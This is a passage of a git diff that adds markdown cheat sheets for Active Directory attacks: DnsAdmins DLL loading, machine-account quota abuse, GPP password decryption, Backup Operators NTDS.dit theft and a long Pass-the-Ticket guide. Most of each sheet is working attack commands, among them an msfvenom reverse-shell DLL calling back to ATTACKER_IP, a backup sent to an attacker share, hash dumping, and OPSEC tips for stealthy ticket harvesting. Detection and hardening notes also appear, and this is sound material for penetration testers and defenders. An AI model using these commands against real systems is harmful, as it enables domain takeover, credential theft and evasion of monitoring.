yields command execution results in a service account shell with SeImpersonatePrivilege — and from there, SYSTEM is one binary execution away. + +*** + +> ✅ **Attack #45 — Token Impersonation complete.** diff --git a/src/content/sheets/active-directory/attack-46-dnsadmins-dll-injection.md b/src/content/sheets/active-directory/attack-46-dnsadmins-dll-injection.md @@ -0,0 +1,82 @@ +--- +title: "Attack #46 — DNSAdmins DLL Injection" +description: "Members of the DnsAdmins group can configure the DNS service to load an arbitrary DLL via the ServerLevelPluginDll registry key. Since the DNS service…" +category: active-directory +tags: ["active-directory"] +tools: ["PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Six/🟣 Attack #46 — DNSAdmins DLL Injection.md" +--- +# 🟣 Attack #46 — DNSAdmins DLL Injection + +*** + +## 📖 How It Works + +Members of the **DnsAdmins** group can configure the DNS service to load an arbitrary DLL via the `ServerLevelPluginDll` registry key. Since the DNS service runs as **SYSTEM** on Domain Controllers, loading a malicious DLL grants SYSTEM-level code execution on the DC. + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Membership in DnsAdmins group** | Or equivalent permission to configure DNS | +| **DNS service on DC** | Standard — runs on DCs by default | +| **SMB share hosting DLL** | DLL must be accessible from DC | + +*** + +## 💻 Full Commands + +```powershell +# ── Check group membership ──────────────────────────────────────────────────── +net user low_user /domain | findstr /i "dnsadmins" + +# ── Set malicious DLL plugin ────────────────────────────────────────────────── +dnscmd DC01.corp.local /config /serverlevelplugindll \\ATTACKER\share\evil.dll + +# ── Restart DNS service (requires restart to load DLL) ──────────────────────── +sc \\DC01.corp.local stop dns +sc \\DC01.corp.local start dns +# DLL executes as SYSTEM on DC01 + +# ── Cleanup — remove the plugin DLL config ──────────────────────────────────── +dnscmd DC01.corp.local /config /serverlevelplugindll "" +``` + +```bash +# ── Generate reverse shell DLL ──────────────────────────────────────────────── +msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 \ + -f dll -o evil.dll + +# ── Host on SMB share ───────────────────────────────────────────────────────── +smbserver.py share /path/to/dll/ -smb2support +``` + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **770** | DNS Server Log | DNS plugin DLL loaded | +| **7045** | System Log | DNS service restart | +| **4688** | Security Log | dnscmd.exe execution with ServerLevelPluginDll argument | + +*** + +## 🔗 Attack Chain Context + +``` +[DNSAdmins] ──→ DLL Injection → SYSTEM on DC + │ + ├──→ 🔗 DnsAdmins membership → SYSTEM on DC → DCSync + ├──→ ⚠️ Requires DNS service restart — may cause brief DNS outage + └──→ 💀 Defeated by: audit DnsAdmins membership, monitor dnscmd usage +``` + +*** + +> ✅ **Attack #46 — DNSAdmins complete.** diff --git a/src/content/sheets/active-directory/attack-47-machineaccountquota-maq-abuse.md b/src/content/sheets/active-directory/attack-47-machineaccountquota-maq-abuse.md @@ -0,0 +1,81 @@ +--- +title: "Attack #47 — MachineAccountQuota (MAQ) Abuse" +description: "By default, any authenticated domain user can create up to 10 computer accounts (controlled by ms-DS-MachineAccountQuota). These attacker-created machine…" +category: active-directory +tags: ["active-directory"] +tools: ["NetExec", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Six/🟣 Attack #47 — MachineAccountQuota (MAQ) Abuse.md" +--- +# 🟣 Attack #47 — MachineAccountQuota (MAQ) Abuse + +*** + +## 📖 How It Works + +By default, any authenticated domain user can create up to **10 computer accounts** (controlled by `ms-DS-MachineAccountQuota`). These attacker-created machine accounts serve as building blocks for other attacks — most notably **RBCD (#17)**, **noPAC (#44)**, and **Certifried (#36)**. + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Domain user credentials** | Any authenticated user | +| **MAQ > 0** | Default = 10 | + +*** + +## 💻 Full Commands + +```bash +# ── Check MAQ value ─────────────────────────────────────────────────────────── +nxc ldap DC01.corp.local -u low_user -p 'Password1' -M maq +# Output: MachineAccountQuota: 10 + +# ── Create machine account ──────────────────────────────────────────────────── +addcomputer.py -computer-name 'FAKE01$' -computer-pass 'FakePass!' \ + -dc-ip 10.10.10.10 corp.local/low_user:'Password1' + +# ── Delete machine account ──────────────────────────────────────────────────── +addcomputer.py -computer-name 'FAKE01$' -computer-pass 'FakePass!' \ + -dc-ip 10.10.10.10 -delete corp.local/low_user:'Password1' +``` + +```powershell +# ── PowerShell / Powermad ───────────────────────────────────────────────────── +Import-Module .\Powermad.ps1 +New-MachineAccount -MachineAccount FAKE01 -Password ( + ConvertTo-SecureString 'FakePass!' -AsPlainText -Force +) + +# ── Check MAQ ───────────────────────────────────────────────────────────────── +Get-ADObject -Identity "DC=corp,DC=local" -Properties ms-DS-MachineAccountQuota | + Select ms-DS-MachineAccountQuota +``` + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4741** | Security Log (DC) | Computer account created by non-admin user | + +*** + +## 🔗 Attack Chain Context + +``` +[MAQ Abuse] ──→ Create machine accounts for RBCD, noPAC, Certifried + │ + ├──→ 🔗 RBCD (#17): needs a controlled machine account + ├──→ 🔗 noPAC (#44): rename machine account to DC name + ├──→ 🔗 Certifried (#36): change DNS hostname to DC + └──→ 💀 Defeated by: set MAQ to 0 +``` + +*** + +> ✅ **Attack #47 — MAQ Abuse complete.** diff --git a/src/content/sheets/active-directory/attack-48-gpp-password-decryption.md b/src/content/sheets/active-directory/attack-48-gpp-password-decryption.md @@ -0,0 +1,78 @@ +--- +title: "Attack #48 — GPP Password Decryption" +description: "Group Policy Preferences (GPP) allowed admins to set local admin passwords, create scheduled tasks, and configure services via Group Policy — with the…" +category: active-directory +tags: ["active-directory"] +tools: ["NetExec", "Impacket", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Six/🟣 Attack #48 — GPP Password Decryption.md" +--- +# 🟣 Attack #48 — GPP Password Decryption + +*** + +## 📖 How It Works + +Group Policy Preferences (GPP) allowed admins to set local admin passwords, create scheduled tasks, and configure services via Group Policy — with the password stored in `cPassword` in XML files on SYSVOL. Microsoft encrypted these passwords with a **publicly-known static AES key** (published in MSDN documentation), making any GPP password trivially decryptable by any domain user who can read SYSVOL. + +Microsoft patched this in **MS14-025** (May 2014), but old GPP XML files may still exist on SYSVOL. + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Any domain user** | SYSVOL is readable by all authenticated users | +| **Legacy GPP files still present** | Created before MS14-025 | + +*** + +## 💻 Full Commands + +```bash +# ── NetExec — automated GPP password extraction ────────────────────────────── +nxc smb DC01.corp.local -u low_user -p 'Password1' -M gpp_password + +# ── Impacket — Get-GPPPassword ──────────────────────────────────────────────── +Get-GPPPassword.py corp.local/low_user:'Password1'@DC01.corp.local + +# ── Manual — search SYSVOL for cPassword ────────────────────────────────────── +findstr /S /I cPassword \\corp.local\SYSVOL\corp.local\Policies\*.xml + +# ── Decrypt the cPassword value ─────────────────────────────────────────────── +gpp-decrypt <cPassword_value> +# The AES key is: 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b +``` + +```powershell +# ── PowerSploit ─────────────────────────────────────────────────────────────── +Import-Module .\PowerSploit.ps1 +Get-CachedGPPPassword +Get-GPPPassword +``` + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **5145** | Security Log (DC) | Access to SYSVOL — reading Policy XML files | + +*** + +## 🔗 Attack Chain Context + +``` +[GPP Passwords] ──→ Decrypt legacy local admin passwords from SYSVOL + │ + ├──→ 🔑 Extracted passwords often = local admin on many machines + ├──→ 🔗 PtH (#4) with discovered credentials → lateral movement + └──→ 💀 Defeated by: delete old GPP XML files, use LAPS instead +``` + +*** + +> ✅ **Attack #48 — GPP Password Decryption complete.** diff --git a/src/content/sheets/active-directory/attack-49-abusing-backup-operators-group.md b/src/content/sheets/active-directory/attack-49-abusing-backup-operators-group.md @@ -0,0 +1,92 @@ +--- +title: "Attack #49 — Abusing Backup Operators Group" +description: "Members of Backup Operators have the SeBackupPrivilege and SeRestorePrivilege, which grants them the ability to read and write any file on the system —…" +category: active-directory +tags: ["active-directory", "privilege-escalation", "hashing"] +tools: ["Impacket", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Six/🟣 Attack #49 — Abusing Backup Operators Group.md" +--- +# 🟣 Attack #49 — Abusing Backup Operators Group + +*** + +## 📖 How It Works + +Members of **Backup Operators** have the `SeBackupPrivilege` and `SeRestorePrivilege`, which grants them the ability to **read and write any file on the system** — bypassing NTFS ACLs entirely. This means a Backup Operator can copy the NTDS.dit database and SYSTEM hive from a DC, extract all domain hashes offline, and achieve full domain compromise. + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Membership in Backup Operators** | Provides SeBackupPrivilege + SeRestorePrivilege | +| **Logon access to DC** | RDP or WinRM (Backup Operators can log on locally by default) | + +*** + +## 💻 Full Commands + +```powershell +# ── Verify privileges ───────────────────────────────────────────────────────── +whoami /priv +# SeBackupPrivilege = Read any file +# SeRestorePrivilege = Write any file + +# ── Method 1: robocopy backup mode ─────────────────────────────────────────── +robocopy /B C:\Windows\NTDS C:\Temp ntds.dit +reg save HKLM\SYSTEM C:\Temp\SYSTEM + +# ── Method 2: diskshadow + robocopy ────────────────────────────────────────── +# Create diskshadow script: +echo "set context persistent nowriters" > script.txt +echo "add volume C: alias mydrive" >> script.txt +echo "create" >> script.txt +echo "expose %mydrive% Z:" >> script.txt + +diskshadow /s script.txt +robocopy /B Z:\Windows\NTDS C:\Temp ntds.dit + +# ── Method 3: wbadmin (Windows Server Backup) ──────────────────────────────── +wbadmin start backup -backuptarget:\\ATTACKER\share -include:C: -quiet +# Then extract NTDS.dit from backup + +# ── Parse offline ───────────────────────────────────────────────────────────── +secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL -outputfile backup_op_dump +``` + +```bash +# ── Remote via reg.py (SeBackupPrivilege) ───────────────────────────────────── +reg.py corp.local/backup_user:'Password1'@DC01.corp.local save -keyName 'HKLM\SAM' -o SAM +reg.py corp.local/backup_user:'Password1'@DC01.corp.local save -keyName 'HKLM\SYSTEM' -o SYSTEM +reg.py corp.local/backup_user:'Password1'@DC01.corp.local save -keyName 'HKLM\SECURITY' -o SECURITY +secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL +``` + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4672** | Security Log | SeBackupPrivilege/SeRestorePrivilege assigned at logon | +| **4663** | Security Log | Object access — NTDS.dit file read | +| **8222** | Security Log | Shadow copy created | + +*** + +## 🔗 Attack Chain Context + +``` +[Backup Operators] ──→ SeBackupPrivilege → read NTDS.dit → all domain hashes + │ + ├──→ 🔗 Bypass NTFS ACLs → copy any file including NTDS.dit + ├──→ 🔗 Offline parsing → no DCSync needed + └──→ 💀 Defeated by: limit Backup Operators membership, monitor privilege use +``` + +*** + +> ✅ **Attack #49 — Backup Operators complete.** diff --git a/src/content/sheets/active-directory/attack-5-pass-the-ticket-ptt.md b/src/content/sheets/active-directory/attack-5-pass-the-ticket-ptt.md @@ -0,0 +1,467 @@ +--- +title: "Attack #5 — Pass-the-Ticket (PtT)" +description: "Pass-the-Ticket is a Kerberos credential theft and replay attack where an attacker extracts a valid Kerberos ticket — either a Ticket Granting Ticket…" +category: active-directory +tags: ["active-directory", "kerberos", "ntlm", "hashing"] +tools: ["NetExec", "Impacket", "Mimikatz", "Rubeus", "BloodHound"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-One/🔴 Attack #5 — Pass-the-Ticket (PtT).md" +--- +# 🔴 Attack #5 — Pass-the-Ticket (PtT) + +*** + +## 📖 How It Works + +Pass-the-Ticket is a **Kerberos credential theft and replay attack** where an attacker extracts a valid Kerberos ticket — either a Ticket Granting Ticket (TGT) or a Ticket Granting Service (TGS) ticket — directly from LSASS memory on a compromised host, then injects it into their own session to impersonate the victim. Unlike Pass-the-Hash which abuses NTLM, PtT operates entirely within the Kerberos protocol — meaning it works even in environments where NTLM has been disabled, and critically, **it can bypass MFA** because the ticket is already authenticated and cryptographically valid. + +The key distinction is what you steal and how you use it. A stolen **TGT** is the golden prize — it acts as a master pass, allowing the attacker to request TGS service tickets for **any resource** the victim has access to, for the remaining lifetime of the ticket (typically 10 hours). A stolen **TGS** is more limited — it grants access only to the specific service it was issued for, but requires no further interaction with the DC. + +> ⚠️ **Windows Server 2022+ / Credential Guard:** On systems with Credential Guard enabled, Kerberos tickets are isolated in the Virtual Secure Mode (VSM) and cannot be extracted from LSASS memory via traditional dumping tools like Mimikatz or Rubeus. The ticket injection attack still works if you have tickets from an older system, but extraction becomes impossible on hardened hosts. See "Hardening Commands" below for details. + +### TGT vs TGS — What to Steal and When + +| Property | TGT (Ticket Granting Ticket) | TGS (Service Ticket) | +|---|---|---| +| **Issued by** | KDC (AS-REP) | KDC (TGS-REP) | +| **Encrypted with** | KRBTGT hash | Target service account hash | +| **Grants access to** | **Any service in the domain** | Only the specific service it was issued for | +| **Lifetime** | 10 hours (renewable for 7 days) | Typically 10 hours | +| **Value** | Extremely high — full domain access | Moderate — single service access | +| **Where found** | LSASS memory of logged-in user | LSASS memory + Windows ticket cache | + +### The Full Attack Flow + +``` +1. Gain foothold + local admin on any domain-joined Windows host +2. Dump Kerberos tickets from LSASS memory (Mimikatz / Rubeus) +3. Identify high-value TGTs (Domain Admins, service accounts, admin users) +4. Export ticket to .kirbi file OR base64 blob +5. Inject ticket into own session (kerberos::ptt / Rubeus ptt) +6. Authenticate to domain resources AS the victim — no password needed +7. MFA is bypassed — ticket is already authenticated +``` + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Local admin / SYSTEM on host** | Required to read LSASS memory where tickets are cached | +| **Active user sessions** | Victim user must be currently logged in (or recently logged in) — their TGT must be in memory | +| **Kerberos reachable** | Port 88 (Kerberos) must be accessible to inject and use the ticket | +| **Ticket validity window** | TGT must still be valid (10-hour default lifetime) — expired tickets are useless | +| **Linux users** | Tickets stored in ccache files (`/tmp/krb5cc_*`) — readable if you control the process/user | + +*** + +## 🛠️ Tools + +| Tool | Platform | Notes | +|---|---|---| +| **Mimikatz** | Windows | `sekurlsa::tickets /export` + `kerberos::ptt` — the original PtT toolset | +| **Rubeus** | Windows | Superior modern tool — dump, triage, inject, monitor all in one | +| **Impacket** | Linux | `ticketer.py`, `getST.py`, `getTGT.py` — full Kerberos ticket toolkit | +| **CrackMapExec / NetExec** | Linux | `--use-kcache` flag to authenticate with ccache ticket | +| **Evil-WinRM** | Linux | Accepts KRB5CCNAME environment variable for ticket-based auth | +| **Kekeo** | Windows | Alternative to Mimikatz for ticket manipulation | +| **ticketConverter.py** | Linux | Converts `.kirbi` (Windows) ↔ `.ccache` (Linux) format — critical for cross-platform use | + +*** + +## 💻 Full Commands + +### 🔵 Step 0 — Enumerate Tickets in Memory (Reconnaissance) + +```powershell +# Windows — built-in, list current session's tickets +klist + +# Windows — list all tickets in all sessions (requires admin) +klist sessions + +# Rubeus — list and triage all tickets across all sessions +.\Rubeus.exe triage + +# Rubeus — list all tickets with full detail (times, encryption type, flags) +.\Rubeus.exe dump /nowrap + +# Mimikatz — list all tickets +kerberos::list +kerberos::list /export +``` + +*** + +### 🔴 Mimikatz — Dump & Inject Tickets (Windows) + +```powershell +# ── STEP 1: Dump all tickets from LSASS ────────────────────────────────────── + +privilege::debug + +# List all Kerberos tickets in memory +sekurlsa::tickets + +# Export ALL tickets to .kirbi files in current directory +sekurlsa::tickets /export + +# ── STEP 2: Inspect exported tickets ───────────────────────────────────────── +# Files will be named: [0;XXXXXX]-0-0-40e10000-Administrator@krbtgt-CORP.LOCAL.kirbi +# The filename contains: [LUID]-[flags]-[enctype]-[username]@[service]-[domain] + +# ── STEP 3: Inject a specific ticket into current session ──────────────────── +kerberos::ptt [0;XXXXXX]-0-0-40e10000-Administrator@krbtgt-CORP.LOCAL.kirbi + +# Inject multiple tickets at once (glob pattern) +kerberos::ptt *.kirbi + +# ── STEP 4: Verify injection ───────────────────────────────────────────────── +kerberos::list + +# ── STEP 5: Use the injected ticket ────────────────────────────────────────── +# From cmd.exe — access resources as the injected user +dir \\DC01\C$ +dir \\fileserver01\shares$ +psexec.exe \\DC01 cmd.exe +``` + +*** + +### 🔴 Rubeus — Full PtT Workflow (Windows — Recommended) + +```powershell +# ── Dump tickets from all sessions (base64 + decoded) ──────────────────────── +.\Rubeus.exe dump /nowrap + +# Dump tickets for a specific LUID (logon session) +.\Rubeus.exe dump /luid:0x3e7 /nowrap + +# Dump only TGT tickets (filter for krbtgt service) +.\Rubeus.exe dump /service:krbtgt /nowrap + +# ── Export ticket to .kirbi file ────────────────────────────────────────────── +.\Rubeus.exe dump /luid:0x3e7 /service:krbtgt /nowrap > ticket_b64.txt + +# ── Inject ticket from base64 blob ──────────────────────────────────────────── +.\Rubeus.exe ptt /ticket:<base64_encoded_ticket> + +# Inject from .kirbi file +.\Rubeus.exe ptt /ticket:Administrator.kirbi + +# ── Verify the ticket is injected ───────────────────────────────────────────── +.\Rubeus.exe triage +klist + +# ── Monitor for new tickets being created (real-time harvest) ──────────────── +.\Rubeus.exe monitor /interval:5 /nowrap + +# Auto-harvest and inject new TGTs as they appear (e.g., admin logs in nearby) +.\Rubeus.exe harvest /interval:30 + +# ── Request a TGS using the injected TGT (access specific service) ──────────── +.\Rubeus.exe asktgs /ticket:<base64_TGT> /service:cifs/DC01.corp.local /nowrap /ptt +.\Rubeus.exe asktgs /ticket:<base64_TGT> /service:host/DC01.corp.local /nowrap /ptt +``` + +*** + +### 🔴 Kekeo — Alternative Ticket Injection (Windows) + +```powershell +# ── Dump and export tickets with Kekeo ───────────────────────────────────── +.\kekeo.exe +tkt::list + +# Export specific ticket to .kirbi +tkt::export ::0 output.kirbi + +# Inject ticket into current session +tkt::ptt ::output.kirbi +``` + +*** + +### 🔴 Linux — ccache Ticket Workflow (Impacket + NetExec) + +```bash +# ── Convert .kirbi (Windows) → .ccache (Linux) ─────────────────────────────── +ticketConverter.py Administrator.kirbi Administrator.ccache + +# Convert .ccache → .kirbi (reverse direction) +ticketConverter.py Administrator.ccache Administrator.kirbi + +# ── Set ticket for use by Impacket tools ───────────────────────────────────── +export KRB5CCNAME=/tmp/Administrator.ccache + +# ── Use ticket with Impacket tools ─────────────────────────────────────────── + +# psexec with ticket (no password) +psexec.py -k -no-pass corp.local/Administrator@DC01.corp.local + +# wmiexec with ticket +wmiexec.py -k -no-pass corp.local/Administrator@DC01.corp.local + +# smbexec with ticket +smbexec.py -k -no-pass corp.local/Administrator@DC01.corp.local + +# secretsdump with ticket (dump all domain hashes) +secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local + +# smbclient — browse shares +smbclient.py -k -no-pass corp.local/Administrator@DC01.corp.local + +# ── NetExec with ticket ─────────────────────────────────────────────────────── +export KRB5CCNAME=/tmp/Administrator.ccache +nxc smb DC01.corp.local --use-kcache +nxc smb DC01.corp.local --use-kcache -x whoami +nxc winrm DC01.corp.local --use-kcache + +# ── Evil-WinRM with ticket ──────────────────────────────────────────────────── +export KRB5CCNAME=/tmp/Administrator.ccache +evil-winrm -i DC01.corp.local -r corp.local +``` + +*** + +### 🔴 Impacket — Request TGT from Scratch (If You Have Creds/Hash) + +```bash +# Request TGT using plaintext credentials (saves as .ccache) +getTGT.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 + +# Request TGT using NT hash (Overpass-the-Hash style) +getTGT.py corp.local/Administrator -hashes :8846f7eaee8fb117ad06bdd830b7586c -dc-ip 10.10.10.10 + +# Request TGT using AES key (stealthiest — no RC4 downgrade) +getTGT.py corp.local/Administrator -aesKey <AES256_KEY> -dc-ip 10.10.10.10 + +# Export the TGT and use it +export KRB5CCNAME=Administrator.ccache +psexec.py -k -no-pass corp.local/Administrator@DC01.corp.local +``` + +*** + +### 🔴 Requesting Specific Service Tickets (TGS via PtT) + +```bash +# Get a service ticket for CIFS (file shares) using a TGT +getST.py corp.local/Administrator -k -no-pass -spn cifs/DC01.corp.local -dc-ip 10.10.10.10 + +# Get a TGS for HOST service (PSExec, remote commands) +getST.py corp.local/Administrator -k -no-pass -spn host/DC01.corp.local -dc-ip 10.10.10.10 + +# Get a TGS for LDAP (BloodHound, DCSync) +getST.py corp.local/Administrator -k -no-pass -spn ldap/DC01.corp.local -dc-ip 10.10.10.10 + +# Impersonate another user via S4U2Self/S4U2Proxy (covered in Attack #16 — Constrained Delegation) +getST.py corp.local/svc_account -k -no-pass -spn cifs/DC01.corp.local -impersonate Administrator +``` + +*** + +### 🔴 Harvesting Tickets Passively (Real-Time Collection) + +```powershell +# Rubeus — monitor for new TGTs every 5 seconds, output in base64 +.\Rubeus.exe monitor /interval:5 /nowrap + +# Rubeus — harvest TGTs and automatically inject them every 30 seconds +.\Rubeus.exe harvest /interval:30 + +# Ideal scenario: Run on a host where admins frequently log in +# Rubeus silently captures their TGTs as they authenticate +``` + +*** + +## 🎯 OPSEC Tips + +- **Prefer TGT theft over TGS theft** — a TGT gives full access; a TGS only buys you one service +- **Use Rubeus `/nowrap`** at all times — corrupted base64 from line wrapping is the most common failure point +- **Use AES tickets over RC4** — if you can request AES TGTs, they draw far less attention than RC4 tickets in AES-enforced environments +- **Rubeus `monitor`** is your silent sentry — deploy it on a server where privileged users log in and let it harvest TGTs passively without any repeated LSASS access +- **Check ticket lifetime before injecting** — a 9-hour-old TGT with 1 hour left is useless for a long operation; `klist` shows the expiry time +- **Use FQDN not IP** when authenticating with Kerberos tickets — Kerberos doesn't work over raw IPs; always use `DC01.corp.local` not `10.10.10.10` +- **Convert kirbi ↔ ccache correctly** — the most common mistake when moving between Windows tooling and Linux Impacket is forgetting this conversion step + +### OpSec Ranking by Stealth + +| Method | Stealth | Speed | Notes | +|---|---|---|---| +| **Rubeus harvest + monitor** | ⭐⭐⭐⭐⭐ | Fast | Passive, no LSASS access on repeat — deploy and forget | +| **Rubeus dump + ptt (base64)** | ⭐⭐⭐⭐ | Fast | Single LSASS access, quick injection — 2-3 minutes total | +| **Mimikatz sekurlsa::tickets + ptt** | ⭐⭐⭐ | Medium | Older signature, still detectable, multiple Mimikatz invocations | +| **Extracting from Linux ccache** | ⭐⭐⭐⭐⭐ | Fast | Off-network ticket use — no DC communication needed | +| **Kekeo ticket dumping** | ⭐⭐⭐⭐ | Medium | Less common than Mimikatz/Rubeus, lower detection baseline | + +### Time-to-Execute Estimates + +- **Full PtT with Rubeus (dump → verify → inject → access resource):** 3 minutes +- **Passive harvest via Rubeus monitor (waiting for admin to log in):** 5–60 minutes (depends on target presence) +- **Linux ccache workflow (after tickets transferred):** 2 minutes +- **Kekeo ticket manipulation:** 2–4 minutes + +### Tool Version Compatibility + +- **Rubeus v1.6.4+:** Supports `/ptt` injection, `/dump`, `/monitor` reliably; no major breaking changes +- **Mimikatz 2.2.0+:** Standard sekurlsa commands stable; Kerberos operations work cross-Windows versions +- **Impacket (current):** ticketConverter, psexec, wmiexec all Kerberos-capable; requires Python 3.6+ +- **NetExec latest:** `--use-kcache` stable; works with ccache format from all sources +- **Evil-WinRM v4.0+:** KRB5CCNAME support stable; requires Kerberos library installed on Linux + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4768** | Security Log | TGT requested — baseline normal, but flag if requestor IP doesn't match the account's usual workstation | +| **4769** | Security Log | TGS requested — watch for the **same TGT being used from two different IP addresses** simultaneously | +| **4770** | Security Log | TGT renewal — unusual renewal from an unexpected host | +| **4624** | Security Log | Logon Type 3 with Kerberos — compare source IP to known workstation of that user | +| **4648** | Security Log | Logon with explicit credentials — attacker using injected ticket to access remote resource | +| **Sysmon EID 10** | Sysmon | LSASS process access — ticket extraction precursor (same as PtH detection) | +| **Sysmon EID 1** | Sysmon | `Rubeus.exe` or `mimikatz.exe` process creation (signature-based) | + +**Primary detection signature:** A TGT or TGS ticket being used from a **different IP address or machine** than the one that originally requested it. This is a near-definitive indicator of Pass-the-Ticket. Modern SIEMs can correlate the 4768 (ticket request origin) with subsequent 4769 (service ticket usage) and flag the discrepancy. + +*** + +## 🧩 Troubleshooting + +| Error | Cause | Fix | +|---|---|---| +| `KRB_AP_ERR_SKEW` | System time skew between attacker and DC (>5 min) | Sync attacker system time with DC: `net time \\DC01 /set` or `timedatectl set-ntp true` | +| `KDC_ERR_ETYPE_NOSUPP` | Encryption type not supported (e.g., AES requested but only RC4 available) | Specify correct etype: RC4 = etype 23, AES256 = etype 18; check domain policy | +| `KRB5_CC_BADFORMAT` | Corrupted or malformed .ccache file | Regenerate ticket via getTGT.py; verify .kirbi→ccache conversion with `ticketConverter.py` | +| `KDC_ERR_PREAUTH_FAILED` | NT hash/AES key is incorrect or account is disabled | Verify hash from LSASS dump matches actual account; check account lockout in AD | +| `ERR_KRB5_KDC_UNREACH` | Cannot reach KDC on port 88 (firewall, routing, or bad DNS) | Test connectivity: `nc -zv DC01.corp.local 88`; verify DNS resolves DC FQDN to correct IP | +| `Ticket expired` | TGT/TGS lifetime exceeded | Check ticket validity with `klist`; extract fresh ticket from active user session | +| `LSASS dump returns zero tickets` | No Kerberos tickets in memory (user has no active session or Credential Guard enabled) | Ensure user is actively logged in; on Win2022+ with Credential Guard, extraction is not possible | +| `Base64 corruption from Rubeus /dump` | Line-wrapping in terminal output | Always use `/nowrap` flag to prevent line breaks: `.\Rubeus.exe dump /nowrap > output.txt` | + +*** + +## 🗺️ MITRE ATT&CK + +**Technique:** T1550.003 — Use Alternate Authentication Material: Pass the Ticket +**Tactic:** TA0008 — Lateral Movement + +### Known APT Groups Using PtT + +- **APT29 (Cozy Bear):** Leverages PtT for domain persistence and lateral movement post-compromise +- **FIN6 (Magecart operators):** Uses PtT to move laterally within compromised environments after initial foothold +- **Wizard Spider (Conti operators):** Employs PtT for rapid lateral movement during ransomware operations +- **HAFNIUM (State-sponsored, China-based):** Combines PtT with ProxyShell exploitation for Exchange compromise chains + +**Detection baseline:** Organizations using Defender for Identity should flag "Suspicious Kerberos ticket usage" (multiple TGS requests from single source IP in short window) as a high-confidence PtT indicator. + +*** + +## 🛡️ Advanced Detection & Hardening + +### Sigma Rule References + +- **Sigma Rule: PtT via Rubeus/Mimikatz** — Monitor for tool execution + 4768 requests within 60 seconds +- **Sigma Rule: Abnormal TGS usage** — Correlate 4769 events to 4768 origin; flag if source IP differs +- **Sigma Rule: LSASS dumping + Kerberos activity** — Sysmon EID 10 (LSASS access) followed by 4768 within 2 minutes + +### EDR Detections (Defender for Identity) + +- **"Unusual Kerberos ticket usage"** — When a ticket created on one host is used on a different host +- **"Sensitive group membership modification"** — If attacker uses PtT to escalate into DA/EA/BA groups +- **"Remote code execution via Kerberos ticket"** — Combination of ticket injection + lateral movement in same session + +### Hardening Commands + +```powershell +# ── Enable Credential Guard (Windows Server 2016+) ──────────────────────────── +# Block LSASS memory access entirely — prevents ALL ticket extraction +dism /online /enable-feature /featurename:IsolatedUserMode + +# ── Enforce Protected Users group (DC enforcement) ─────────────────────────── +# Members cannot use NTLM or DES; forces AES/RC4 only +Add-ADGroupMember -Identity "Protected Users" -Members "CN=Administrator,CN=Users,DC=corp,DC=local" + +# ── Set short TGT lifetime via GPO (reduce ticket reuse window) ─────────────── +# Group Policy > Computer Configuration > Policies > Windows Settings > Security Settings +# > Kerberos Policy > Maximum lifetime for user ticket = 4 hours (default 10) +# Command to check current policy: +gpresult /h report.html +# Look for: "Maximum lifetime for user ticket" + +# ── Enable AES-only enforcement (disable RC4 in Kerberos) ──────────────────── +# On DC: Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Kerberos\Parameters" -Name "SupportedEncryptionTypes" -Value 28 +# 28 = AES128 + AES256 only (RC4 disabled) + +# ── Set account lockout + login attempt monitoring ──────────────────────────── +# Via GPO: Account Policies > Account Lockout Policy +# Threshold: 3–5 failed attempts; Duration: 30 minutes +``` + +### Forensic Artifacts (What Survives Where) + +| Artifact | Location | Survives Cleanup | Notes | +|---|---|---|---| +| **Kerberos .kirbi files** | `C:\Windows\Temp\` or current dir | Temporary — deleted if cleanup run | Recovered via DFIR tools if not overwritten | +| **Event Log 4768/4769** | Security Event Log | Yes (unless log cleared) | Primary detection source; correlate origin IP vs. usage IP | +| **LSASS memory dump** | Pagefile, hiberfil.sys, DRAM | If not cleared | Volatility/WinDbg analysis can recover dumped tickets post-reboot | +| **Rubeus/Mimikatz process execution** | Sysmon EID 1, MFT | Sysmon/Event logs persist | Signatures detect tool execution; MFT shows creation timestamp | +| **ccache file (Linux)** | `/tmp/krb5cc_*` or `.kerberos/cache` | No — cleanup removes | Immediate deletion after ticket use is OPSEC best practice | +| **Registry RunKeys** | HKLM\Software\Microsoft\Windows\Run | Yes | If attacker persists via scheduled task or RunKey, it persists | +| **User environment variables** | User registry hive | Yes | If KRB5CCNAME set in environment, survives session | + +*** + +## 🔗 Attack Chain Context + +``` +[Pass-the-Ticket] ──→ Full Domain Access as Victim User (no password needed) + │ + ├──→ 🩸 DCSync — inject DA's TGT → request LDAP TGS → DCSync all hashes + ├──→ 🎫 Golden Ticket — if KRBTGT hash obtained, forge unlimited TGTs + ├──→ 🎫 Silver Ticket — forge TGS without touching KDC (Attack #12) + ├──→ 🔐 Overpass-the-Hash — convert NT hash into a TGT on the fly (Attack #6) + ├──→ 📁 Access any file share, database, mailbox as the victim + └──→ 🎯 Rubeus harvest → wait for DA to log in → instant privilege escalation +``` + +### Cross-References to Related 